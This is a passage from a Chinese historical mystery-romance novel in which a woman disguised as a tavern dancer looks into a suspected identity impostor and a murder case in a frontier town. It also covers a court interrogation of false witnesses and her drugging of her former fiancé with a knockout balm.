有不少打量的目光朝她们投来。
宋晚吟悄悄拉了池楚浠的手,小声道:“池姐姐,你不必紧张,若是待会儿你有为难之处,随时叫我,我会弹琴也会跳舞。”
宋晚吟看出了她的担忧,池楚浠回握了她的手掌一下,以示感激:“好。”
此时,一楼的舞台上有人在弹琴。
弹琴的姑娘容色姣好,但不算出挑,不过竖箜篌她弹得很好,二十二弦,竖抱于怀中,双手齐奏。她身后各有两排戴着面纱的姑娘演奏其他乐器,为她做伴奏。
显然,这场表演是以这个女子为主。
周围品尝美食、喝茶的客人都一脸满意地欣赏着音乐。
陆逍带着两位姑娘绕到了舞台后方,在所有舞姬和乐师中站着一个风韵犹存的中年妇人,她正在安排着下一场表演。
陆逍悄悄道:“那就是花三娘,你只要跟她熟络起来,便能问到一些旁人不知道的事。”
这么短时间要如何跟她熟络起来?
难道陆逍指的是长期作战,以后只要一有空就来找花三娘闲聊?
见池楚浠眼中有些迷茫,陆逍用一种很欠的笑容看着池楚浠道:“你有优势,去吧。”
池楚浠低头看了看自己,优势?
池楚浠还有些发愣,宋晚吟提醒道:“姐姐,你长得好看,即使遮住脸也是个美人,像你这样的姿色对他们酒楼来说是可遇不可求,花三娘必定会留你。”
池楚浠:“……”
从前她听得最多的夸赞是从田娘子那里来的,她鲜少结交朋友,也不怎么出门,见得最多的男人季沐风几乎不夸赞她的外貌。
但偶尔能从季沐风的眼神里看出来,他应当是喜欢她这副皮囊的。
池楚浠被这两人说得脸红。
她走向花三娘,花三娘也早就注意到了她。
“您是花三娘么?”池楚浠乖巧地见了个礼,“醉仙楼可还需要舞姬?”
花三娘眼睛直直地盯着池楚浠,将她从上到下,每一寸都看了一遍,满意地勾了勾唇:“你想来醉仙楼?”
池楚浠道:“是,我是从中原来的,辗转寻一位故人,现下到了沙洲想有个落脚之处,最好还能挣点钱。”
花三娘道:“说得倒是实诚,你打算留多久?”
池楚浠:“暂且不知,我只是想寻到故人,若是有消息便待久一些。”
花三娘:“情郎?”
池楚浠:“不是,是我妹妹,比我小两岁,长得漂亮,脑子聪慧,口音奇特,有时说话显得很没规矩。”
花三娘愣了愣:“你说的这人……”
她顿住了,即使形容得这般笼统,但花三娘脑子里立即就有一个符合条件的人跳出来。
不会这么巧吧。
池楚浠追问:“怎么,您见过?”
花三娘思索片刻后摇头:“不曾见过,你要留下来可以,先跳一段我看看,客人们喜欢,我便多给你分些钱。”
宋晚吟上前道:“我为姐姐作曲。”
池楚浠点点头。
舞台上的表演已经谢幕,宋晚吟让花三娘给了她古筝,她抱着古筝上台,默默在舞台一旁坐定。
池楚浠打扮得像个波斯美姬,她已提前告诉过宋晚吟自己需要哪类风格的曲子。
花三娘在后方看着,她想起方才那舞姬形容的人,两年前她倒真是见过这么一个。
那是个奇女子,不过一开始看起来更像个疯子。
花三娘倚在柱子旁看着台上的演出,那两个小娘子很养眼,跳舞的穿着红色舞裙,戴着金色面纱,仿若一朵恰好盛开的蔷薇;弹古筝的如一汪蓝色的深涧之水,让人觉得宁静美好,却又有一种不可触及的距离感。
这俩姑娘若是留下必能为店主招揽更多的客人,她们姿色是一等一的。
即使没看到真正的容貌,花三娘也这般认为,她在这行多年,绝不会看走眼。
池楚浠的舞蹈功底还在,只是动作有些忘却了,但无妨,她会临时改动作,只要能与曲子的节奏对上即可。
说来也巧,宋晚吟像是知道她的想法,几乎每一个节奏点都能与她对上,不是她跟着宋晚吟的曲子走,而是宋晚吟也在迁就她。
两人仿佛天生的默契,不需要排练便能完美契合。
台下的看官眼睛都直了,尤其是坐位近的,连眼前的饭菜都顾不上吃,酒也顾不上喝,一心一意盯着舞姬与琴师。
“妙啊!妙哉!怎么从前不见醉仙楼有这等美姬。”
“应当是新来的,那身段……真不错。”
……
一楼雅座,赵秉钧喝了季沐风敬来的酒。
两壶酒已经下肚,赵秉钧脸色发红,他这人好酒,但不胜酒力。
隔着稀疏的珠帘往外看去,舞台上那舞姬的身姿格外动人,他的德行有些暴露,大大咧咧指着舞姬道:“新来的,又是个波斯美姬吧,风、风情万种!”
赵秉钧盯着那个穿红裙跳舞的女子,眼中有垂涎之意。
季沐风也看了那舞姬许久了,总觉得那身姿有些眼熟,但想不起来与何人相似。
自己身边似乎没有身段如此出众的小娘子,可为何感觉这般熟悉。
白蓉绒看了景序昭的右胳膊一眼,道:“景县丞拿筷子似有些无力啊。”
景序昭刚把手中的筷子放下,唇角弯了弯:“一双筷子而已,怎会无力,白娘子想说什么直说便是。”
白蓉绒笑了笑,道:“我的人说前几日看见景县丞从胡杨驿街出来,身上似乎有伤,景县丞不会与张参军被刺杀一案有牵连吧?”
说起这个,醉醺醺的赵秉钧猛然清醒了几分。
“白娘子,张参军一案你有线索?”
他又盯着景序昭,伸手指着他道:“是你干的?嫌犯从实招来,免得受刑。”
赵秉钧是在说醉话,他的眼睛又开始迷蒙了。
季沐风比赵秉钧喝得还多,但他酒量好,只有少许醉意,此刻脑子里的逻辑还很清晰。
白蓉绒说景
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序昭杀了白家的死士,此刻是白蓉绒在正面试探,她这个人向来如此,比较直来直去。
景序昭忽地笑了:“听说去刺杀张参军的刺客全都死了,我若是刺客怎么有能力活着出来,若我不是刺客,我难道能以一己之力杀掉那么多死士,诸位也太看得起我了。”
景序昭拍拍袖子道:“我不过是一个苍山县的县丞,不似我兄长,可以在战场上以一敌百。”
赵秉钧提着酒壶往自己嘴里倒酒,含糊不清地道:“有……有道理。”
景序昭往舞台的方向看去,看见了混在人群里的陆逍,陆逍暗中冲他点了点头,表示事情已经办妥。
节奏鲜明的音乐曲调让此刻醉仙楼里的客人们都精神了不少,否则在这夜里都要犯困了。
舞姬的动作仿佛暗夜里勾人的魅魔,明明跳得中规中矩,但在特定的情景下众人觉得魅惑至极。
花三娘看得仔细,舞虽跳得一般,但胜在人美、曲子好,无形中拉住了别人的目光,让人移不开眼。
季沐风道:“刺史,我扶您去歇息,明日还要审那两个证人呢。”
赵秉钧一边起身一边继续盯着舞姬,他随手一指楼上的房间:“今夜就歇在这里。”
季沐风自然懂他的意思,立马着人去办,找店主把上等房挪给他。
白蓉绒看向景序昭:“景县丞可是也要在这里歇下?我记得你住在隔壁街的客舍里。”
景序昭望着跳舞的舞姬,勾了勾唇道:“这里有曲听,有美人,为何还要回去。”
白蓉绒心里冷哼了一声,起身道:“告辞。”
一曲舞毕,池楚浠拉着宋晚吟退场。
台下的部分客人嚷嚷着:“别走啊,再舞一曲!”
“花三娘……叫你们新来的舞姬接着跳啊。”
……
花三娘上台掩着脸笑:“哎哟,多跳几次就不新鲜了,明日,明日她再跳,诸位明日也要记得来哟。”
花三娘是有一套招揽顾客的法子的,几句话把客人们勾得心痒痒。
“我收下你了,说吧,你觉得多少钱合适?”花三娘在后台与池楚浠谈价钱。
“若这蓝衣小娘子也留下,我可以加钱。”
池楚浠看向宋晚吟,拉了她的手道:“她身体虚弱,不能长时间弹奏,她不来了。”
宋晚吟仅仅露出来的一双眼睛定定地看着池楚浠,缓缓道:“若得空,我可以为姐姐弹曲子,我不收钱。”
池楚浠对花三娘道:“她不收但我收,连她那一份一起给我,若她那日没来便不收那日的费用。”
花三娘:“成交。”
宋晚吟不收钱估摸着是觉得自己用不上了,阿娘在狱中还未脱罪,而自己又活不长了,再多的钱拿来也无用。
池楚浠却不这么认为,她要把属于宋晚吟的东西留下,该拿的钱一分不能少。
舞姬们的房间不大,但装扮得倒是美轮美奂。
池楚浠在屋子里摘下了面纱,让花三娘看清,她眼中含泪道:“您若是见过我妹妹,还请告知。”
花三娘若有所思,问道:“你妹妹是何时走丢的,叫什么名字?”
池楚浠说得真诚:“两年前,家中人唤她白娘子。”
花三娘惊了一瞬,欲言又止。
24. 旧时花魁
见池楚浠又把面纱戴上,花三娘问:“明日这个时辰你也上台跳舞?”
池楚浠点点头:“好。”
“你那位穿蓝衣裙的妹妹,能来的话把她也叫上,客人们爱看。”
时辰不早了,花三娘安排好前厅的表演便快步往楼上去。
还未走到白蓉绒居住的房间,有人便拦住了她的去路。
只见一长相俊俏的年轻男子塞给她一小块金子,悄声道:“花三娘,不许再与她见面,才两年就忘了她的嘱咐?”
花三娘手里握着金子,尴尬地笑笑:“我这不是有消息想告诉她吗,我寻思着应该是个好消息,这也不能见?”
陆逍摇摇头:“不可以。”
“好吧,不见就不见,那她可别后悔。”花三娘提着裙摆走了。
陆逍紧张地抚了抚心口:“好险,差点就露馅了,还是池娘子聪明。”
可池娘子为何知道白蓉绒曾经告诉过花三娘不许再与她见面,见了面也必须装作陌生人呢?
陆逍猛地一拍大腿:“莫非池娘子也会算命!还算得如此精准。”
陆逍做贼似地钻进池楚浠房间里,迫不及待地道:“还真被你算中了,花三娘真的跟白蓉绒老早就认识。”
“起初我还担心你这么做很容易就露馅,白蓉绒铁定一下就认出你了,到时候还不好解释,没想到她居然真的跟花三娘有过这种约定。”
池楚浠心神定了定,沉声道:“陆兄,这件事不必再继续查了,我知道是怎么回事。”
陆逍:“?”
“那你说来让我也知道知道。”
宋晚吟搬了个凳子给陆逍,两人一副要听故事的样子。
池楚浠看了看两人单纯的眼神,叹了口气道:“事关重大,我不能讲给你们听,若你们知道了说不定会有性命之忧,不过我可以将部分事实告知景县丞。”
陆逍“哎”了一声,屁股离开板凳:“原来我不能听,到底是什么秘密,这么惊天动地,还能要了小爷我的脑袋,我阿耶可是太子詹事,谁敢动我脑袋。”
池楚浠很想说一句:公主。但忍住了。
“陆兄,这都大半夜了,快去歇息吧。”池楚浠道。
陆逍这才意识到自己还钻在池楚浠屋里呢,三更半夜的,要是让景侍郎知道就说不清了。
于是,陆逍赶紧往外溜,更像一个贼了。
宋晚吟看着陆逍那滑稽的动作噗呲笑了,眉眼弯弯地看着他离去。
“池姐姐,这人真有意思。”
池楚浠此刻有些走神,今晚陆逍特地来跟她说白蓉绒的事,说明景序昭知道一些白蓉绒的秘密,但这个秘密池楚浠也只是在梦中的话本里见过。
而且那话本她知道开头的故事情节,后续的便不清楚了。
景序昭知道了其中的诡异,故而告诉陆逍让她来一探究竟,她很感激。
池楚浠今日愿意来也只是为了确认一件事,白蓉绒两年前是真的来过这里,如今,事实已与话本高度重合,这对池楚浠来说更有判断依据。
两年前,白蓉绒最初穿越来时便落在沙洲。
话本里说,她并不是真的白蓉绒。
白尚书之女白蓉绒早已死去,是现在这个白蓉绒取代了她。
池楚浠的眸子沉了沉。
没规定说她必须住在这里,池楚浠正准备回之前的客舍,花三娘便来敲门了。
“池娘子,有官爷点名叫你过去。”
池楚浠拉开房门道:“哪个官爷?”
花三娘附在池楚浠耳旁道:“刺史,他老人家今晚在醉仙楼饮酒,见了你跳舞,很是喜欢,这会儿偏要叫你过去相陪,你可不能得罪,他是沙洲最大的官儿了。”
池楚浠眉心拧了拧,站在原地愣了片刻。
花三娘扯了她的袖子一把:“快走吧,别让刺史等久了。”
池楚浠压了压面上的金纱,放慢步子跟在花三娘身后,一会儿见了刺史要怎么说?
总不能跟他说自己白天在州衙干解剖,晚上到酒楼跳舞谋外财?
“哎哟,你走快点儿。”花三娘催促。
到了刺史房间门外,池楚浠顿住脚步道:“三娘,我自己进去,你先回吧。”
花三娘道:“那你倒是快点儿,别耽误太久。当心刺史不高兴。”
池楚浠嗯了一声。
花三娘还有别的事要忙,转身下了楼。
赵刺史坐在桌前又喝上了,这是店主刚送来的美酒,说是要让酒和美人陪他共度良宵。
赵秉钧看见门外有女人的影子,便道:“还不进来伺候,来晚了当心本官罚你。”
池楚浠的手刚要去推门,手腕便被人拽住,往旁一拉,她的影子不再映在门上。
“阿兄……”
景序昭将池楚浠拉到身旁,推出去一个与池楚浠同样装扮的女子。
那女子的身影代替池楚浠落在门框里。
景序昭对女子道:“去吧。”
女子微微点头,双手推开了门。
池楚浠悄无声息地跟景序昭进了房间,她摘下面纱松了口气。
“如何,可有发现异样?”景序昭问。
忙活了一晚上,池楚浠赶紧先喝了一杯水。
“事到如今,我也不想再瞒阿兄,我曾梦到过白蓉绒从前的事,也就是两年前的事,包括她的一些秘密,今日阿兄想让我打探之事我早已知晓,只是需要佐证,如今我更加确定了梦境的真实性。”
“花三娘早已在两年前就认识白蓉绒,那时白蓉绒刚来到这个陌生的世界,最初她就仰仗着醉仙楼过活,还成了这里跳舞的头牌娘子。”
景序昭只觉得震惊,他只查到两年前白蓉绒随父亲来过沙洲,却没想到其中还有这么多细节。
池楚浠继续道:“她并非真正的白蓉绒,两年前,真正的白小娘子随白尚书来沙洲,但不幸遇害身亡,而如今的白娘子与白蓉绒长得一模一样,在那之后她便顶替了白蓉绒的身份回了尚书府。”
景序昭听了感觉有点恍惚:“楚浠,为兄听完觉得这像一个鬼故事……”
池楚浠一脸严肃道:“我也觉得是鬼故事,所以这么久以来从未将事情告诉你,只是一心想要证据,随着梦境中的故事一点一点被证实,我就不得不信了。”
景序昭道:“这么说,你阿耶的死,所有过程你也都是清楚的,你只是想调查取证。”
池楚浠点点头:“话本毕竟是话本,不可能每个细节都写到位,我只知父亲并非溺水而亡,是体内有毒素导致了他的死,
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所以才要回来开棺验尸。”
“如今看来,那毒素是幻梦蛉与解毒茶相克导致的,话本里说的毒应该是幻梦蛉,也就是造成阿耶死亡的真正原因,而幻梦蛉在尸检时完全查不出来,若不是父亲聪明去找人抓了解毒茶喝下去,否则即便是我开棺验尸也看不出问题。”
景序昭沉思起来,神色有些凝重地道:“白尚书可知他的女儿被换了人?”
池楚浠想了想,摇头道:“应当不知,如今的白蓉绒是另一个世界的人,她有一百种方法哄住尚书府的人,好让自己的身份不穿帮。”
景序昭道:“你这么说我倒是有一件事说给你听,两年前,听闻白家女儿生了一场重病,醒来后便忘了许多事,连基本的礼仪都忘了,全都要重头学过,听闻她还学不好。”
“这样看来,不是她忘了,是她根本就不会,她侵占了真正的白家嫡女身份。”
池楚浠道:“阿兄竟也了解这么多关于白家的事。”
景序昭给池楚浠倒了杯水,猜想她应该依旧很渴,很上火。
他实话实说:“白家小娘子那般与众不同,她为白尚书提供了两张兵器改造图纸,我不得不留意,早已暗中派人调查她。”
“我朝的女子即便也有不少读书习武的,但大多数名门贵女还是待在深闺里,像她这样了解兵器的女子极其罕见。”
“若她还能改良更多的兵器……”
“她不会了。”池楚浠打断他的话,“话本里说她在五金店做过活计,所以能改造一些小玩意儿,但真正的大型作战兵器她并不了解,即便她有一些超脱的想法,也未必能实现,如今能拿出来的图纸已经是她的极限。”
“阿兄,我先回去了,明日你还要见空缘古刹那边的两名证人,早些歇息。”
“陆逍,送她回去。”
两名证人被连夜带来了州衙,上午,所有人都到齐了。
赵刺史坐在最高处连着打了两个哈欠,昨夜太放纵了,睡眠不足。
刺史在桌上一拍惊堂木道:“你们二人如实招来,为何说谎?”
“尸体明明是死后被焚烧,为何你们却说是亲眼看见他们被活活烧死的,是谁在幕后指使你们?”
两名证人是空缘古刹的杂役,空缘古刹不是只有一座庙,是一群庙宇,所以配备了许多杂役。
两人跪在地上不敢抬头。
景序昭看着又打了一个哈欠的赵秉钧道:“刺史,过些时日我要回长安复命,沙洲这桩案子若没查明我会如实告知刑部,让朝廷派得力助手来协助刺史。”
赵秉钧的瞌睡顿时醒了一半,他赶紧看向旁听的白蓉绒,颇有些怨怼。
没人告诉他姓景的这么快就能回长安啊,万一真把他断案不清的事回去到处乱说,那对他今年的功绩考核岂不是不利。
赵秉钧呵呵笑道:“不是请了景县丞协助办案吗,景县丞也是这桩案子的负责人之一,可不能都推在我身上。”
“哦,还有景县丞的客卿池娘子,你们都有一份责任。”
景序昭得意似地弯起眼尾:“好说,那我便用自己的法子审了。”
“陆逍,把人带去刑房。”
话音刚落,两名证人就齐齐磕头。
“官爷饶命,我们交代,都交代!”
25. 娘子眼熟
陆逍正憋笑呢,他们家这位前左侍郎根本不是正经当官的,当初能进刑部都是走的后门。
景序昭这个人表面上看着名门正派,但实际上很邪性,他办案没什么章法。
陆逍瞪着两人道:“说吧,要是有一句谎话,你们就出不了这个门。”
他跟着景序昭也学会了吓唬人的路子。
左边的证人道:“我们是撒谎了,那几人不是被活活烧死的,他们在被烧时就已经死了,我们看见他们在火里根本没动弹。”
景序昭上前一步问:“你们亲眼看见王湘宁杀人了?”
两人忽然看着对方,一时间不知道该怎么回答。
陆逍抖了一下手中的剑,剑鞘与剑身发出摩擦的声音,让人感觉脖子一凉。
右边的证人摇摇头:“没……没看见。”
赵秉钧听疑惑了:“那之前为何一口咬死是王湘宁杀的人,你们与她有什么仇怨?”
宋晚吟声音哽咽:“我阿娘没有与人结仇,她为人很和善的,而且我们初来乍到,怎么会突然与人结仇。”
“陆逍……”
景序昭话还没说完,右边的证人便急切道:“我说,我们是收了别人的钱才这么说的。”
赵秉钧:“是谁?”
证人:“石碾,他是西街赵家的仆人,是他拿钱堵我们的嘴,让我们做伪证。”
池楚浠趁势追问:“你们可有在尸体上动手脚,将烟灰塞入尸体口鼻?”
两人均摇头:“没有,我们只是做了伪证,没动过尸体。”
赵秉钧立刻吩咐手下:“把张仵作抓来,让司马好好审一遍。”
赵秉钧:“去赵家,带石碾上堂。”
赵家距离州衙有一定距离,一时半会儿没法立即将人抓来。
张仵作在郑司马的审问下也交代了。
“我是收了石碾的钱,不过只是验尸时做了些手脚,其他的什么也没干。”
张仵作与两个证人都跪在堂下。
赵秉钧道:“你们三人都收了石碾的贿赂,等本官把石碾带来再接着审。”
景序昭冷声道:“他既早就做好了安排,想必这会儿已经跑路,人肯定不在赵家。”
赵秉钧也有想到这一层,但流程还得这么走,需得先去赵家抓人。
自从听到赵家两个字,白蓉绒便警惕起来。
她一直没有吭声,但此刻却道:“景县丞,这桩案子既然委托了你来查办,那你可得尽快破案,我这两日就要回长安,正好把你的丰功伟绩跟我阿耶的同僚们说说,争取让你早日调回。”
景序昭漠然地看着她道:“不劳白娘子费心,回去的时日我自有安排。”
白蓉绒看向赵秉钧道:“既然怕石碾跑了,何不让景县丞带着衙兵一起去,若是真跑了就正好乘胜追击,必须把人抓回来。”
池楚浠已看了白蓉绒许久,自从提到赵家后她就不太淡定,这会儿还想把景序昭支出去,不知她葫芦里卖的什么药。
赵秉钧乐意讨好白家,便道:“那就由景县丞带衙兵前去,务必把石碾带回来。”
案子暂时审不动,赵秉钧回去补觉了。
州衙里的人都撤了,三名嫌犯被收监。
房间里,季沐风见白蓉绒神色焦虑,忍不住问道:“可是长安那边又有什么事?”
白蓉绒收起异样的神色,冲季沐风露出个好看的笑容,还挽了他的胳膊道:“没有,只是有点累了,想早点回长安,季郎你先休息,我有事找月华锦的店主聊聊。”
看得出来白蓉绒不想他跟着,季沐风识趣地点点头,没跟着去。
景序昭领着衙兵估计也快到赵家了,不过赵秉钧这边收不到任何消息。
池楚浠带着面纱回到醉仙楼,宋晚吟也在。
“晚吟,待阿兄带回石碾就知道此事的来龙去脉了,你别太担心,好好休息。”
宋晚吟喜极而泣,阿娘的冤屈终于要洗清了。
“池姐姐今夜还去跳舞吗?”
“跳,我还有些事想问问花三娘。”
“我为池姐姐奏乐。”
随着夜幕降临,醉仙楼里愈加热闹。
白日里商人们要做生意,赚了钱晚上就来消费,正合他们心意。
池楚浠换了一身新舞裙,花三娘给她挑的是艳丽的裙子,说是与她的身形相配。
面纱依旧戴着,脸上画了妆容,跟平时对比像换了个人。
刚一转角,池楚浠便遇上季沐风。
“我瞧这位娘子有些眼熟,敢问小娘子如何称呼,是哪里人?”季沐风盯着她道。
池楚浠戴着面纱,露出来的一双眼睛带了妆,估摸着季沐风的确没有认出来。
池楚浠与他还有一段距离,她眼尾弯了弯,似乎在笑,声音比平时软了好几度,尽量变了音调道:“小女子林希见过这位郎君,郎君若是要欣赏歌舞还请在台下寻个位置坐好。”
季沐风继续追问:“林小娘子是哪里人还没说。”
池楚浠缓缓道:“中原人士,来此处寻亲。”
说罢,池楚浠与他擦身而过。
幽幽的女子香气萦绕在季沐风鼻尖,令人久久地怔愣。
“林希……”
没听过这个名字,但对她那股熟悉的感觉还是挥之不去。
季沐风花大价钱换了个好位置坐,想离那舞姬更近几分。
经过一天一夜的时间,池楚浠已经把从前学过的舞蹈动作复盘了不少。
今夜跳起来更加得心应手,一些有难度的动作也能跳上一二。
台下的欢呼声比昨日更甚。
花三娘在后台乐得美滋滋的,问身边的婢女:“今日卖了多少酒钱?”
婢女也欢喜道:“比昨日翻了两倍,还有几位贵客点名说想见见林希,只要她肯陪饮,多少钱都愿意出。”
花三娘小声嘀咕:“我现在信了那人是她妹妹,否则两人怎会都这般讨客人喜欢,当年她可是咱们醉仙楼的花魁。”
“去跟几位贵客说,咱们一个一个来,林希娘子一晚只能陪一个客人,且卖艺不卖身。”
婢女疑惑道:“不卖身么,可昨夜不是已经陪了刺史?”
花三娘挑高了眼尾,带了丝傲气道:“越是得不到就越显得珍贵,懂不懂,刺史有官在身,那当另说,这些有钱人可没有官职,压不着咱们。”
宋晚吟今日弹的曲子和昨夜不同,今夜的曲调稍缓,带着异域风情,很有沙洲地域特色。
本地的客人特别喜欢今日的舞蹈。
池楚浠的舞衣露出腰肢,若隐若现间让人沉迷沦陷
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。
季沐风在长安的北里也见过这类舞蹈,教坊里也有,教坊管理宫廷音乐、舞蹈、戏剧。
一些比较高雅的舞蹈会流传到贵族小姐中,小姐们需要参加各种宫廷宴会、社交聚会和节日庆典等活动。看林希这舞姿,倒像是正统里学出来的。
季沐风看得目不转睛,她说她是中原人,兴许是西北靠近中原的位置。
如此说来,她或许曾经在北里跳过舞,只是自己看过便忘记了。
今夜跳了两首曲子,池楚浠谢幕离场。
在花三娘为她准备的屋子里,池楚浠面对花三娘掏出一张图纸。
她打开图纸,上面是一把刀的图样。
“三娘,您可曾见过这个?”
花三娘原地愣住,笑容都僵在了脸上。
“这……”
池楚浠看着图纸,眼中的神情令人动容:“我妹妹从小就天资聪颖,这便是她设计出来的。”
池楚浠露出睹物思人的神情。
花三娘想了想,觉得这也不是什么不可说的秘密,反正这东西又不是只有她知道。
于是她道:“见过,赵员外家里就有,不过这东西在市面上也不流通,刺客使它使得最顺手了,其他人也用不上。”
池楚浠道:“西街那个赵员外?”
花三娘:“没错。”
婢女来报:“林娘子,今夜有客人出钱点你陪饮,你看要去吗,他给得很多。”
池楚浠道:“三娘,昨夜是刺史叫我也就罢了,以后随便什么人叫我难道我都要去,我并没有把卖身契押给你们醉仙楼。”
花三娘打圆场似地笑着说:“不是这个意思,没有叫你非要去陪,你自己看在钱的面子上,觉得他给得够意思就去喝几杯,实在不乐意就算了,你也的确没卖身,我不能强求你呀。”
宋晚吟在一旁道:“不卖身的,花三娘,你去推拒了吧。”
此时,又有婢女来报:“三娘,林娘子,方才有位季郎君花费大把钱财给前一位郎君截了下来,正是昨夜和刺史一起的那位季郎君。”
花三娘脸色变得五味杂陈,刚说了让林希自己决定陪不陪,这就来了刺史的好哥们。
这到底陪不陪?
“那个……林娘子,要不咱还是去喝两杯,这当官的毕竟不好惹,即便你不卖身,他说要你的身子你还能跟他们作对不成。”
池楚浠看向婢女道:“那位季郎还说什么了?”
婢女:“他特地交代了,说只是邀娘子喝酒聊天,并无其他请求。”
花三娘翻了个白眼道:“男人的话听听就好了,更何况还是个当官的,这会儿说着只是喝酒,喝着喝着就不安分了。”
池楚浠:“知道了,我会去的。”
待花三娘和婢女走后,宋晚吟不知从哪儿翻出一瓶香膏给她,并道:“池姐姐,这是迷香,你带去。”
池楚浠看向门上透过来的身影,无奈地唤了句:“陆兄,有什么事进来说。”
陆逍推开门,像做贼一样钻了进去。
“陆兄怎么没跟阿兄一起去赵家?”
陆逍道:“他说让我护着你,你看要是没有其他事就离开醉仙楼,别在这儿跳舞了,跳一次就够了,那帮子人哪能有这么好的福气天天看,眼睛给他们挖了。”
26. 祭台分尸
宋晚吟噗呲一声笑了。
陆逍立马朝她看来:“笑什么,你每次见我都笑,我有那么好笑吗?”
宋晚吟赶紧抿直唇角:“抱歉,陆郎君,我只是觉得你说话风趣。”
陆逍哼了一声道:“我可不是开玩笑,要是让我家左侍郎知道我没拦住池娘子去陪客,他先会打死我,再挖了那群看客的眼珠子。”
陆逍把剑往门口一挡:“无论客人出了多少钱,池娘子你都不能去,昨夜代替你的那位今日不在,没有合适的人选了,今夜你就随我离开醉仙楼,再也不回来。”
池楚浠忽地笑了,伸手拂开陆逍的剑:“你可知方才是谁出钱让我去相陪的?”
陆逍:“谁这么大胆?”
宋晚吟:“和刺史一起姓季的那位郎君。”
陆逍手抖了一下,差点剑都拿不稳,他惊讶得张了张嘴,内心翻江倒海一通。
终于,他道:“你不会……真的想去吧?”
陆逍心里慌张,一时不知该怎么办才好。
这池娘子心里本就惦记着季沐风,现在季沐风又出钱相邀,她必定是真的想去。
完了,他要拦不住了……
陆逍心一横,握紧了拳头准备一捶给她打晕,然后再把人抗走,送去给景序昭交差。
还未来得及一拳捶下,旁边的宋晚吟便连连咳嗽,虚弱地往地上倒去。
“晚吟!”
池楚浠立刻将她扶住:“陆兄快来帮忙!”
宋晚吟整个人都没力气,软绵绵地往地上滑,两个人将她扶到床上躺好。
池楚浠抚着宋晚吟的手,一脸担忧道:“怎么样,还撑得住吗,我去给你请大夫。”
宋晚吟慢慢缓了过来:“无需请大夫,我带来的包袱里有药,劳烦池姐姐帮我拿一下。”
池楚浠去找药,陆逍则倒了杯温水来。
池楚浠扶着宋晚吟让她把药含入口中,陆逍将水杯递到她唇边。
“你生的是什么病,这么严重。”陆逍问。
宋晚吟缓缓将药丸吞下。
她脸上长期化着精致的妆容,不是时常能通过皮肤看出病色,但此刻她的眼里有许多疲态。
她无力地望着陆逍笑了笑:“不治之症,先天不足,给你们添麻烦了。”
陆逍口快,又问:“大夫怎么说?”
宋晚吟道:“大夫说已活不过两月。”
陆逍愣了许久。
吞了药丸后,宋晚吟的呼吸顺畅了许多。
陆逍刚把茶杯放下便觉得头晕,眼前猛地一黑,人就往后倒去。
池楚浠费力把人接住,让他坐在地上靠着床柱。
宋晚吟惊道:“池姐姐,你为何要将他迷晕?”
池楚浠看了看手里的香膏,正是宋晚吟给她的那瓶。
“我试试效果如何,还不错。”
“晚吟,你先歇会儿,我去去就回。”
离开前,池楚浠将陆逍拖去了隔壁房间。
池楚浠来到季沐风的房门外,轻敲了一下门道:“季郎君,我进来了。”
池楚浠推门而入。
季沐风已起身迎了上来,他看起来很是客气,一副温文尔雅的模样道:“多谢林娘子赏脸与我一叙,请坐。”
池楚浠坐下为他倒了一杯酒:“听闻季郎君是刺史身边的人,那季郎必定是有过人之处。”
季沐风从话里听出了小娘子对他的崇拜,当下挑了挑眼皮道:“实不相瞒,我考中进士后很快便通过了吏部的考核,想必不久便能分到京官官职。”
池楚浠故作惊讶地睁大了眼睛,痴痴地望着他道:“季郎君好厉害,寻常人要等上三五年才有官做,季郎君竟然都不用等,日后必定飞黄腾达。”
池楚浠捧着酒恭恭敬敬地递过去:“郎君请,我陪郎君饮几杯。”
池楚浠将自己的酒杯移到面纱下,隔着面纱喝酒。
季沐风盯着池楚浠纤细的手腕,近距离将她打量了一遍,还是觉得眼熟。
“不知林娘子的面纱下可是一张倾国倾城的面容?”
池楚浠将酒杯轻轻放在桌上,手指压了一下脸颊的面纱微笑道:“季郎君成亲了吗?”
季沐风实话实说:“来沙洲前刚成婚,她乃是工部尚书嫡女,天资聪颖,独一无二。”
池楚浠笑得温婉,嗓音温柔:“既已娶了如此优秀的贵女做妻,季郎还在外面夸我,不怕夫人吃醋么?还是说,季郎根本不在乎。”
季沐风从容地笑了笑,给池楚浠的酒杯斟满:“我只是与林娘子品酒,并未做对不起夫人之事,何况男人三妻四妾是天经地义,她又怎会因此介怀。”
池楚浠面纱下的唇角有些僵硬,想笑却笑不出来,没错,这就是季沐风的性子。
明面上他对白蓉绒一心一意,实际骨子里还是刻着自己的心思。
不过此刻他还是全心全意爱着白蓉绒的。
“季郎才华横溢,豪气云天,必定是小娘子们爱慕的对象,哪怕是成为季郎的妾也是让人梦寐以求的。”池楚浠说着一番违心的话。
此话果然深得他心,只见季沐风哈哈笑道:“还是林娘子聪慧,不像我那个青梅竹马的小娘子那般愚钝。”
池楚浠在桌下的手指紧了紧,沉声问:“如何愚钝?”
季沐风喝了酒说话就愈加地畅所欲言:“她本是要与我夫人同日嫁进门的,却因自己为妾而愤愤不平,非要与我退婚,你说可笑不可笑,白白放弃了日后的荣华富贵。”
池楚浠哂笑:“是愚钝,能与尚书嫡女共侍奉一夫已是她的荣幸了,竟还妄想做正妻。”
“是啊。”季沐风又连着自顾自喝了两杯酒,看起来他的确因这事而烦闷了许久。
“愚蠢!”
季沐风骂了一声,将手中的酒杯摔在地上。
他是真的生气,气池楚浠不嫁他,气池楚浠强行退婚,凭什么,凭什么她敢这样做。
季沐风多喝了几杯,脸上有了更明显的醉意。
“我想起来了!”
季沐风忽然指着池楚浠道:“林娘子,怪不得我总觉得你眼熟,你与我那青梅竹马的小娘子很像。”
“很像……”
季沐风眼中的醉意更明显。
池楚浠知道他酒量好,不轻易醉,看来今晚他已经喝过很多酒了。
池楚浠莞尔:“像吗?”
“我倒是有句话想问季郎,听闻朝中派系分明,季郎娶得贵女又马上要分得官职,那季郎如今是在为谁卖命?”
季沐风听到此话浑身僵了一下,连酒意都退了大半,他忽地死死盯住池楚浠道:“这可不是你该过
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问的,你莫不是谁的探子?”
池楚浠噗呲笑了:“我才不是探子,季郎想多了。”
季沐风冷哼一声,倾身来扯池楚浠面上的纱巾:“那我让看看你究竟是谁!”
池楚浠稍微一侧身便躲了过去,季沐风抓了个空,同时他眼底一黑,当即昏睡过去。
迷药起效了。
池楚浠看了看药瓶,糟糕,刚才担心弄不晕季沐风,一不小心分量放多了,季沐风闻到的香膏味比陆逍闻到的还要浓郁。
不知季沐风会睡到何时。
池楚浠从房间出来,帮他合上了门。
